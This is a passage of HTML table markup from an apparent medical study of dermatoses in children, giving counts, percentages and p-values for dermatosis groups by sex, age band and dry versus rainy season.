</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">13 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (1.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (1.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.687</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Unclassified dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (1.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.946</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:156.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Dyschromic dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (0.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:85.05pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (0.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:74.15pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.817</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table II:</strong> Distribution of etiological groups of dermatoses by sex.</span></span></p>\r\n\r\n<p style=\"text-align:center\">&nbsp;</p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Type of dermatosis</span></strong></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0-2 years</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=250</span></strong></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">3-5 years</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=188</span></strong></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">6-12 years</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=215</span></strong></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">13-18 years</span></strong></p>\r\n\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">n=165</span></strong></p>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Immuno-allergic dermatosis</span></p>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">103 (41.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">60 (31.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">72 (33.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">38 (23.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.166</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Infectioud dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">81 (32.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">92 (48.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">89 (41.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">65 (39.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.302</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Adnexal dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">34 (13.6)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">9 (4.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (2.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">32 (19.4)</span></strong></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.001</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Inflammatory dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (4.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">22 (10.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15 (9.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.067</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Genodermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (1.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">7 (3.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (2.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">6 (3.6)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.838</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Toxidermia</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (2.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (1.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (1.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.934</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Dyschromic dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0 (0.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (1.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (1.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.998</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tumoral dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">18 (7.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (2.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">10 (4.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.172</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:149.6pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Unclassified dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">3 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">1 (0.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.9pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (1.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (1.2)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:56.7pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.896</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Table III:</strong> Distribution of etiological groups according to age.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Type of dermatosis</span></strong></p>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Dry season=442</span></strong></p>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">Rainy season=376</span></strong></p>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">P</span></strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Immuno-allergic dermatosis</span></p>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">150 (33.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">123 (32.7)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.773</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Infectious dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">170 (38.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">157 (41.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.374</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Adnexal dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">36 (8.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">45 (12.0)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.081</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Inflammatory dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">30 (6.8)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">19 (5.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.384</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Genodermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">15 (3.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">8 (2.1)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.363</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Toxidermia</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11 (2.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (0.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><strong><span style=\"font-size:10.0pt\">0.045</span></strong></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Dyschromic dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">2 (0.5)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">5 (1.3)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.395</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Tumoral dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">24 (5.4)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">11 (2.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:70.85pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">0.111</span></p>\r\n			</div>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:199.2pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">Unclassified dermatosis</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:113.4pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 5.4pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:10.0pt\">4 (0.9)</span></p>\r\n			</div>\r\n			</td>\r\n			<td style=\"width:106.35pt\">\r\n			<div style=\"border-top:solid black 1.5pt; padding:0in 5.4pt 0in 